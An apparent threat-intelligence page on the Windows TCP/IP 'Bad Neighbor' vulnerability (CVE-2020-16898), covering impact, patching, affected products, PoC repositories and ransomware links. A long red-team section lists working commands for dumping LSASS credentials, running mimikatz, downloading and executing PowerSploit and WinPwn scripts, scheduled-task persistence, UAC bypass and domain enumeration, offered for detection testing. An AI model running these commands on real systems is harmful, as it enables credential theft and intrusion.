CVE-2020-16898
Overview
This vulnerability is a remote code execution flaw originating from improper handling of ICMPv6 Router Advertisement packets within the Windows TCP/IP stack. Specifically, the TCP/IP implementation in affected Windows 10 versions incorrectly processes these network packets, leading to memory corruption. The affected component is the network protocol stack responsible for IPv6 packet processing on Windows 10 versions 1709 through 1909.
Vulnerability Description
<p>A remote code execution vulnerability exists when the Windows TCP/IP stack improperly handles ICMPv6 Router Advertisement packets. An attacker who successfully exploited this vulnerability could gain the ability to execute code on the target server or client.</p> <p>To exploit this vulnerability, an attacker would have to send specially crafted ICMPv6 Router Advertisement packets to a remote Windows computer.</p> <p>The update addresses the vulnerability by correcting how the Windows TCP/IP stack handles ICMPv6 Router Advertisement packets.</p>
Impact
An unauthenticated attacker with network access can exploit this vulnerability by sending crafted ICMPv6 Router Advertisement packets to a targeted Windows 10 machine. Successful exploitation enables arbitrary code execution with system-level privileges, potentially allowing full compromise of the affected device. No user interaction or prior authentication is required, and the attack can be performed remotely from the local network or over VPN. This can lead to data breaches, system takeover, or lateral movement within an enterprise environment, consistent with the CVSS vector indicating low attack complexity and no privileges required.
Solution
Microsoft has released security updates addressing this vulnerability in the Windows 10 operating system versions 1709 through 1909. Administrators should apply the patches provided in the Microsoft Security Advisory available at https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-16898. The update modifies the TCP/IP stack to correctly handle ICMPv6 Router Advertisement packets, eliminating the memory corruption issue. No workarounds are specified; timely patching is recommended to mitigate the risk.
EPSS vs KEV Prediction — Evolution (30 days)
Ransomware Intelligence
Predictions
Predictions are based on analysis of past ransomware group behaviors and their predilection for specific vulnerability characteristics, such as vendor, product, and flaw type.
The groups below are predictions based on historical exploitation patterns of the same vendor/product. These are not confirmations.
Full Analysis
A critical remote code execution vulnerability exists within the Windows TCP/IP stack, specifically related to the handling of ICMPv6 Router Advertisement packets. This flaw arises from improper processing of these packets, which can lead to unauthorized execution of code on both client and server systems running affected versions of Windows. The vulnerability is particularly concerning due to the fundamental role of the TCP/IP stack in network communication, making it a prime target for attackers seeking to exploit weaknesses in network protocols. The nature of this vulnerability underscores the importance of robust packet handling and validation within operating system components.
Exploitation of this vulnerability can occur through various attack vectors, primarily involving the transmission of specially crafted ICMPv6 Router Advertisement packets to a vulnerable system. An attacker could leverage this flaw to gain control over the target machine, executing arbitrary code with the same privileges as the user running the affected application. This scenario highlights the potential for widespread exploitation, especially in environments where ICMPv6 is actively used for network configuration and management. Attackers could execute malicious payloads, install malware, or even pivot to other systems within the network, thereby escalating their access and control.
The real-world impact of this vulnerability is significant, particularly for organizations that rely on Windows 10 and Windows Server platforms. The ability for an attacker to execute code remotely poses a severe risk to data integrity, confidentiality, and availability. Organizations could face substantial financial losses due to downtime, data breaches, and the costs associated with incident response and recovery efforts. Moreover, the reputational damage stemming from a successful exploit could lead to a loss of customer trust and potential legal ramifications, particularly for businesses that handle sensitive information. The high CVSS score of 8.8 indicates that this vulnerability should be prioritized for remediation to mitigate the associated risks.
To effectively detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating systems with the latest security patches is crucial, as Microsoft has released updates that address the improper handling of ICMPv6 Router Advertisement packets. Additionally, employing network intrusion detection systems (NIDS) can help identify malicious traffic patterns indicative of exploitation attempts. Organizations should also consider implementing strict firewall rules to limit ICMPv6 traffic to only trusted sources, thereby reducing the attack surface. Furthermore, continuous monitoring of network traffic and system logs can aid in early detection of any suspicious activities related to this vulnerability.
In conclusion, the remote code execution vulnerability within the Windows TCP/IP stack presents a serious threat to organizations utilizing affected Windows products. The potential for exploitation through crafted ICMPv6 Router Advertisement packets necessitates immediate attention and action. By understanding the technical details, attack vectors, and real-world implications of this vulnerability, organizations can better prepare their defenses. Implementing robust detection and mitigation strategies will be essential in safeguarding against potential exploits and ensuring the integrity of their networked environments.
CSURFACE threat intelligence has identified a marked escalation in exploitation activity targeting CVE-2020-16898, evidenced by the emergence of new proof-of-concept tools designed to leverage the vulnerability. Our telemetry indicates a sharp increase in detection events, signaling that adversaries are actively refining and deploying attack methods that exploit the Windows TCP/IP stack’s improper handling of ICMPv6 Router Advertisement packets. Although the EPSS score remains stable, the availability of multiple publicly accessible exploit scripts lowers the barrier for threat actors, potentially broadening the adversary landscape. Notably, ransomware groups such as bianlian and Black Basta continue to be associated with campaigns leveraging this vulnerability, underscoring its operational relevance. This development elevates the threat level from theoretical to increasingly practical, emphasizing the need for heightened vigilance as exploitation attempts become more frequent and sophisticated.
Update 2 — July 30, 2026
CSURFACE threat intelligence has identified a marked escalation in exploitation attempts targeting CVE-2020-16898, accompanied by an increased presence of publicly available proof-of-concept tools that facilitate vulnerability scanning and exploitation. Our telemetry indicates that adversaries are leveraging these resources to conduct more frequent and widespread probing of vulnerable Windows 10 Version 1803 systems. While the EPSS score remains stable, the qualitative surge in activity signals a shift from opportunistic scanning to more deliberate exploitation efforts. Notably, ransomware groups previously linked to this vulnerability, including bianlian and Black Basta, appear to be intensifying their operational use, suggesting that CVE-2020-16898 continues to be a viable vector for initial access or lateral movement within targeted environments. This evolving landscape elevates the threat level, underscoring the need for defenders to prioritize detection capabilities and monitoring for exploitation indicators related to ICMPv6 Router Advertisement packet manipulation.
Update 3 — August 17, 2026
CSURFACE threat intelligence has identified a marked escalation in exploitation attempts targeting CVE-2020-16898, reflected by a significant increase in detection activity across multiple environments. This surge corresponds with a slight uptick in the EPSS score, indicating growing attacker interest and potential operationalization of the vulnerability beyond opportunistic scanning. Notably, the persistence of publicly available proof-of-concept exploits continues to lower the barrier for adversaries, facilitating more frequent and sophisticated exploitation attempts. While ransomware groups previously linked to this vulnerability remain active, there is no current evidence of new high-confidence associations or coordinated campaigns leveraging CVE-2020-16898 as a primary vector. However, the sustained and increasing exploitation signals an elevated threat posture, emphasizing that defenders must maintain heightened vigilance. This evolving threat landscape elevates the risk level from moderate to high, underscoring the vulnerability’s continued relevance as a viable attack vector for remote code execution within Windows TCP/IP stacks.
Affected Products (10)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Microsoft | Windows 10 | 1709 |
cpe:2.3:o:microsoft:windows_10:1709:*:*:*:*:*:*:*
|
|
|
Microsoft | Windows 10 | 1803 |
cpe:2.3:o:microsoft:windows_10:1803:*:*:*:*:*:*:*
|
|
|
Microsoft | Windows 10 | 1809 |
cpe:2.3:o:microsoft:windows_10:1809:*:*:*:*:*:*:*
|
|
|
Microsoft | Windows 10 | 1903 |
cpe:2.3:o:microsoft:windows_10:1903:*:*:*:*:*:*:*
|
|
|
Microsoft | Windows 10 | 1909 |
cpe:2.3:o:microsoft:windows_10:1909:*:*:*:*:*:*:*
|
|
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Microsoft | Windows 10 | 2004 |
cpe:2.3:o:microsoft:windows_10:2004:*:*:*:*:*:*:*
|
|
|
Microsoft | Windows Server 2016 | 1903 |
cpe:2.3:o:microsoft:windows_server_2016:1903:*:*:*:*:*:*:*
|
|
|
Microsoft | Windows Server 2016 | 1909 |
cpe:2.3:o:microsoft:windows_server_2016:1909:*:*:*:*:*:*:*
|
|
|
Microsoft | Windows Server 2016 | 2004 |
cpe:2.3:o:microsoft:windows_server_2016:2004:*:*:*:*:*:*:*
|
|
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Microsoft | Windows Server 2019 | N/A |
cpe:2.3:o:microsoft:windows_server_2019:-:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (15)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
advanced-threat-research/CVE-2020-16898
CVE-2020-16898 (Bad Neighbor) Microsoft Windows TCP/IP Vulnerability Detection Logic and Rule
|
advanced-threat-research | 209 | 30 | 2020-10-07 | View |
|
ZephrFish/CVE-2020-16898
HoneyPoC 2.0: Proof-of-Concept (PoC) script to exploit IPv6 (CVE-2020-16898).
|
ZephrFish | 22 | 6 | 2020-10-14 | View |
|
0xeb-bp/cve-2020-16898
PoC BSOD for CVE-2020-16898 (badneighbor)
|
0xeb-bp | 22 | 5 | 2020-10-16 | View |
|
momika233/CVE-2020-16898-exp
|
momika233 | 17 | 6 | 2020-10-17 | View |
|
komomon/CVE-2020-16898--EXP-POC
CVE-2020-16898 Windows TCP/IP远程代码执行漏洞 EXP&POC
|
komomon | 12 | 10 | 2020-10-28 | View |
|
jiansiting/cve-2020-16898
PoC BSOD for CVE-2020-16898
|
jiansiting | 9 | 4 | 2020-10-17 | View |
|
corelight/CVE-2020-16898
A network detection package for CVE-2020-16898 (Windows TCP/IP Remote Code Execution Vulnerability)
|
corelight | 9 | 2 | 2020-10-14 | View |
|
komomon/CVE-2020-16898-EXP-POC
CVE-2020-16898 Windows TCP/IP远程代码执行漏洞 EXP&POC
|
komomon | 5 | 1 | 2020-10-20 | View |
|
Maliek/CVE-2020-16898_Check
Minor powershell script that checks for vulnerable interfaces.
|
Maliek | 2 | 3 | 2020-10-14 | View |
|
initconf/CVE-2020-16898-Bad-Neighbor
Zeek detection for CVE-2020-16898-"Bad Neighbor"
|
initconf | 2 | 0 | 2020-10-14 | View |
|
CPO-EH/CVE-2020-16898_Checker
Check all Network Interfaces for CVE-2020-16898 Vulnerability
|
CPO-EH | 0 | 1 | 2020-10-17 | View |
|
Q1984/CVE-2020-16898
PoC Bad Neighbor BSOD exploit
|
Q1984 | 1 | 0 | 2020-10-16 | View |
|
aricooper/suricata-script
CVE-2020-16898 — “Bad Neighbor” (ICMPv6 RDNSS length parsing) — Suricata Lua Detection
|
aricooper | 0 | 0 | 2026-06-05 | View |
|
esnet-security/cve-2020-16898
Detects CVE-2020-16898: "Bad Neighbor"
|
esnet-security | 0 | 0 | 2020-10-14 | View |
|
CPO-EH/CVE-2020-16898_Workaround
PowerShell Script Workaround for VCE-220-16898 Vulnerability
|
CPO-EH | 0 | 0 | 2020-10-17 | View |
Threat Feed
13 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AmmyyAdmin, AnyDesk, Atera (552 known victims)
Ransomware group known to exploit this vulnerability. Tools: AdFind, AnyDesk, Atera, BITSAdmin, Backstab (Process Explorer driver) (523 known victims)
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Proof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
76 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
"#{procdump_exe}" -accepteula -mm lsass.exe #{output_file}
$exePath = resolve-path "$env:ProgramFiles\dotnet\shared\Microsoft.NETCore.App\5*\createdump.exe"
& "$exePath" -u -f $env:Temp\dotnet-lsass.dmp (Get-Process lsass).id
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe --silent-process-exit "#{output_folder}"
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe -w "%temp%\nanodump.dmp"
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
try{ IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1003.001/src/Out-Minidump.ps1') -ErrorAction Stop}
catch{ $_; exit $_.Exception.Response.StatusCode.Value__}
get-process lsass | Out-Minidump
"#{procdump_exe}" -accepteula -ma lsass.exe #{output_file}
C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full
"#{dumpert_exe}"
#{xordump_exe} -out #{output_file} -x 0x41
if (Test-Path -Path "$env:SystemRoot\System32\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\System32\rdrleakdiag.exe"
} elseif (Test-Path -Path "$env:SystemRoot\SysWOW64\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\SysWOW64\rdrleakdiag.exe"
} else {
$binary_path = "File not found"
exit 1
}
$lsass_pid = get-process lsass |select -expand id
if (-not (Test-Path -Path"$env:TEMP\t1003.001-13-rdrleakdiag")) {New-Item -ItemType Directory -Path $env:TEMP\t1003.001-13-rdrleakdiag -Force}
write-host $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
& $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
Write-Host "Minidump file, minidump_$lsass_pid.dmp can be found inside $env:TEMP\t1003.001-13-rdrleakdiag directory."
"#{venv_path}\Scripts\pypykatz" live lsa
#{mimikatz_exe} "sekurlsa::minidump #{input_file}" "sekurlsa::logonpasswords full" exit
IEX (New-Object Net.WebClient).DownloadString('#{remote_script}'); Invoke-Mimikatz -DumpCreds
"#{psexec_exe}" #{remote_host} -accepteula -c #{command_path}
cmd.exe /Q /c #{command_to_execute} 1> \\127.0.0.1\ADMIN$\#{output_file} 2>&1
New-PSDrive -name #{map_name} -psprovider filesystem -root \\#{computer_name}\#{share_name}
cmd.exe /c "net use \\#{computer_name}\#{share_name} #{password} /u:#{user_name}"
$xml = [System.IO.File]::ReadAllText("#{xml_path}")
Invoke-CimMethod -ClassName PS_ScheduledTask -NameSpace "Root\Microsoft\Windows\TaskScheduler" -MethodName "RegisterByXml" -Arguments @{ Force = $true; Xml =$xml; }
$Action = New-ScheduledTaskAction -Execute "cmd.exe"
$Trigger = New-ScheduledTaskTrigger -AtLogon
$User = New-ScheduledTaskPrincipal -GroupId "BUILTIN\Administrators" -RunLevel Highest
$Set = New-ScheduledTaskSettingsSet
$object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set
Register-ScheduledTask AtomicTaskModifed -InputObject $object
$NewAction = New-ScheduledTaskAction -Execute "Notepad.exe"
Set-ScheduledTask "AtomicTaskModifed" -Action $NewAction
$Action = New-ScheduledTaskAction -Execute "calc.exe"
$Trigger = New-ScheduledTaskTrigger -AtLogon
$User = New-ScheduledTaskPrincipal -GroupId "BUILTIN\Administrators" -RunLevel Highest
$Set = New-ScheduledTaskSettingsSet
$object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set
Register-ScheduledTask AtomicTask -InputObject $object
"PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" \\#{target} -accepteula -s "cmd.exe"
"PathToAtomicsFolder\..\ExternalPayloads\GhostTask.exe" \\#{target} add #{task_name} "cmd.exe" "/c #{task_command}" #{user_name} logon
reg add HKCU\SOFTWARE\ATOMIC-T1053.005 /v test /t REG_SZ /d cGluZyAxMjcuMC4wLjE= /f
schtasks.exe /Create /F /TN "ATOMIC-T1053.005" /TR "cmd /c start /min \"\" powershell.exe -Command IEX([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String((Get-ItemProperty -Path HKCU:\\SOFTWARE\\ATOMIC-T1053.005).test)))" /sc daily /st #{time}
reg add "HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command" /ve /t REG_EXPAND_SZ /d "c:\windows\System32\#{payload}" /f
schtasks /Create /TN "#{task_name}" /TR "compmgmt.msc" /SC ONLOGON /RL HIGHEST /F
ECHO Let's open the Computer Management console now...
compmgmt.msc
reg add "HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command" /ve /t REG_EXPAND_SZ /d "c:\windows\System32\#{payload}" /f
schtasks /Create /TN "#{task_name}" /TR "eventvwr.msc" /SC ONLOGON /RL HIGHEST /F
ECHO Let's run the schedule task ...
schtasks /Run /TN "EventViewerBypass"
schtasks /create /tn "T1053_005_OnLogon" /sc onlogon /tr "cmd.exe /c calc.exe"
schtasks /create /tn "T1053_005_OnStartup" /sc onstart /ru system /tr "cmd.exe /c calc.exe"
SCHTASKS /Create /SC ONCE /TN spawn /TR #{task_command} /ST #{time}
SCHTASKS /Create /S #{target} /RU #{user_name} /RP #{password} /TN "Atomic task" /TR "#{task_command}" /SC daily /ST #{time}
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
Invoke-MalDoc -macroFile "PathToAtomicsFolder\T1053.005\src\T1053.005-macrocode.txt" -officeProduct "#{ms_product}" -sub "Scheduler"
$xml = [System.IO.File]::ReadAllText("#{xml_path}")
Invoke-CimMethod -ClassName PS_ScheduledTask -NameSpace "Root\Microsoft\Windows\TaskScheduler" -MethodName "RegisterByXml" -Arguments @{ Force = $true; Xml =$xml; }
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
# creating a custom nslookup function that will indeed call nslookup but forces the result to be "whoami"
# this would not be part of a real attack but helpful for this simulation
function nslookup { &"$env:windir\system32\nslookup.exe" @args | Out-Null; @("","whoami")}
powershell .(nslookup -q=txt example.com 8.8.8.8)[-1]
Powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/a0dfca7056ef20295b156b8207480dc2465f94c3/Invoke-AppPathBypass.ps1'); Invoke-AppPathBypass -Payload 'C:\Windows\System32\cmd.exe'"
powershell.exe "IEX (New-Object Net.WebClient).DownloadString('#{mimurl}'); Invoke-Mimikatz -DumpCreds"
$url='https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1';$wshell=New-Object -ComObject WScript.Shell;$reg='HKCU:\Software\Microsoft\Notepad';$app='Notepad';$props=(Get-ItemProperty $reg);[Void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');@(@('iWindowPosY',([String]([System.Windows.Forms.Screen]::AllScreens)).Split('}')[0].Split('=')[5]),@('StatusBar',0))|ForEach{SP $reg (Item Variable:_).Value[0] (Variable _).Value[1]};$curpid=$wshell.Exec($app).ProcessID;While(!($title=GPS|?{(Item Variable:_).Value.id-ieq$curpid}|ForEach{(Variable _).Value.MainWindowTitle})){Start-Sleep -Milliseconds 500};While(!$wshell.AppActivate($title)){Start-Sleep -Milliseconds 500};$wshell.SendKeys('^o');Start-Sleep -Milliseconds 500;@($url,(' '*1000),'~')|ForEach{$wshell.SendKeys((Variable _).Value)};$res=$Null;While($res.Length -lt 2){[Windows.Forms.Clipboard]::Clear();@('^a','^c')|ForEach{$wshell.SendKeys((Item Variable:_).Value)};Start-Sleep -Milliseconds 500;$res=([Windows.Forms.Clipboard]::GetText())};[Windows.Forms.Clipboard]::Clear();@('%f','x')|ForEach{$wshell.SendKeys((Variable _).Value)};If(GPS|?{(Item Variable:_).Value.id-ieq$curpid}){@('{TAB}','~')|ForEach{$wshell.SendKeys((Item Variable:_).Value)}};@('iWindowPosDY','iWindowPosDX','iWindowPosY','iWindowPosX','StatusBar')|ForEach{SP $reg (Item Variable:_).Value $props.((Variable _).Value)};IEX($res);invoke-mimikatz -dumpcr
Add-Content -Path #{ads_file} -Value 'Write-Host "Stream Data Executed"' -Stream 'streamCommand'
$streamcommand = Get-Content -Path #{ads_file} -Stream 'streamcommand'
Invoke-Expression $streamcommand
powershell.exe -e #{obfuscated_code}
# Encoded payload in next command is the following "Set-Content -path "$env:SystemRoot/Temp/art-marker.txt" -value "Hello from the Atomic Red Team""
reg.exe add "HKEY_CURRENT_USER\Software\Classes\AtomicRedTeam" /v ART /t REG_SZ /d "U2V0LUNvbnRlbnQgLXBhdGggIiRlbnY6U3lzdGVtUm9vdC9UZW1wL2FydC1tYXJrZXIudHh0IiAtdmFsdWUgIkhlbGxvIGZyb20gdGhlIEF0b21pYyBSZWQgVGVhbSI=" /f
iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\AtomicRedTeam').ART)))
$malcmdlets = #{Malicious_cmdlets}
foreach ($cmdlets in $malcmdlets) {
"function $cmdlets { Write-Host Pretending to invoke $cmdlets }"}
foreach ($cmdlets in $malcmdlets) {
$cmdlets}
New-PSSession -ComputerName #{hostname_to_connect}
Test-Connection $env:COMPUTERNAME
Set-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use -Value "T1086 PowerShell Session Creation and Use"
Get-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
Remove-Item -Force $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
iex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)
Invoke-AllChecks
powershell.exe -exec bypass -noprofile "$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','#{url}',$False);$comMsXml.Send();IEX $comMsXml.ResponseText"
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -noprofile "$Xml = (New-Object System.Xml.XmlDocument);$Xml.Load('#{url}');$Xml.command.a.execute | IEX"
C:\Windows\system32\cmd.exe /c "mshta.exe javascript:a=GetObject('script:#{url}').Exec();close()"
import-module "PathToAtomicsFolder\..\ExternalPayloads\SharpHound.ps1"
try { Invoke-BloodHound -OutputDirectory $env:Temp }
catch { $_; exit $_.Exception.HResult}
Start-Sleep 5
write-host "Remote download of SharpHound.ps1 into memory, followed by execution of the script" -ForegroundColor Cyan
IEX (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1');
Invoke-BloodHound -OutputDirectory $env:Temp
Start-Sleep 5
#{soaphound_path} --user $(#{user})@$(#{domain}) --password #{password} --dc #{dc} --buildcache --cachefilename #{cachefilename}
#{soaphound_path} --user #{user} --password #{password} --domain #{domain} --dc #{dc} --bhdump --cachefilename #{cachefilename} --outputdirectory #{outputdirectory}
ldapdomaindump -u #{username} -p #{password} #{target_ip} -o /tmp/T1087
ldapsearch -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{user} -w #{password} -b "CN=Users,DC=#{domain},DC=#{top_level_domain}" -s sub -a always -z 1000 dn
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc admincountdmp #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc exchaddresses #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -f (objectcategory=person) #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -default -s base lockoutduration lockoutthreshold lockoutobservationwindow maxpwdage minpwdage minpwdlength pwdhistorylength pwdproperties
Invoke-Expression "#{adrecon_path}"
([adsisearcher]"objectcategory=user").FindAll(); ([adsisearcher]"objectcategory=user").FindOne()
Get-ADObject -LDAPFilter '(UserAccountControl:1.2.840.113556.1.4.803:=#{uac_prop})' -Server #{domain}
net user administrator /domain
(([adsisearcher]'(objectcategory=organizationalunit)').FindAll()).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] OU Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
(([adsisearcher]'').SearchRooT).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] Domain Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
net user /domain
net group /domain
net user /domain
get-localgroupmember -group Users
get-aduser -filter *
query user /SERVER:#{computer_name}
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -verbose
cd "PathToAtomicsFolder\..\ExternalPayloads"
.\kerbrute.exe userenum -d #{Domain} --dc #{DomainController} "PathToAtomicsFolder\..\ExternalPayloads\username.txt"
Get-ADComputer #{hostname} -Properties *
Get-adcomputer -SearchScope subtree -filter "name -like '*'" -Properties *
Get-ADComputer #{hostname} -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" *
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
$target = $env:LOGONSERVER
$target = $target.Trim("\\")
$IpAddress = [System.Net.Dns]::GetHostAddresses($target) | select IPAddressToString -ExpandProperty IPAddressToString
wmic.exe /node:$IpAddress process call create 'wevtutil epl Security C:\\ntlmusers.evtx /q:\"Event[System[(EventID=4776)]]"'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
generaldomaininfo -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2020-16898 |
| portal.msrc.microsoft.com |
GitHub CVE
x_refsource_MISC
|
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-16898 |